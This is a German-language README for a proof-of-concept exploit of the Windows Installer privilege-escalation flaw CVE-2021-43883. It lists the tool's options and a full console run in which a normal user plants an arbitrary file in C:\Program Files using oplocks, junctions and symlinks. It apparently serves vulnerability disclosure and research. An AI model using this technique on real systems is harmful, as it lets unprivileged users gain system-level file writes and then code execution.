
Windows MSI Installer LPE (CVE-2021-43883)
Eine kleinere, minimierte und aufgeräumtere Version von InstallerFileTakeOver, auch bekannt als der Zero-Day-Exploit, der eine "Variation" von CVE-2021-41379 ist (dem später CVE-2021-43883 zugewiesen wurde). Diese Version öffnet keine Shell wie InstallerFileTakeOver. Der Zweck dieses Codes war es, einen einfacheren Proof of Concept zu erstellen, der den Dateierstellungsangriff zuverlässiger demonstriert. Dieser Proof of Concept erstellt die vom Benutzer angeforderte beliebige Datei (und kopiert sich selbst hinein, um die Schreibbarkeit zu beweisen). Die Demonstrierung der Codeausführung ist eine triviale Übung, die dem Leser überlassen bleibt.
Um zu verstehen, wie der Angriff funktioniert, siehe den AttackerKB-Bericht.
Das Tool erfordert drei Parameter:
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
-h, --help produce help message
-m, --msi_path arg The path to the MSI to install
-i, --install_path arg The path to install to
-p, --target_path arg The file to create
Der PoC kopiert sich lediglich selbst in die Zieldatei.
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
File Not Found
C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
12/02/2021 02:01 PM 368,640 lol
1 File(s) 368,640 bytes
0 Dir(s) 86,015,610,880 bytes free
FileOpLock-Code ist eine leicht modifizierte Version, die aus angrypolarbearbug2 herausgelöst wurde.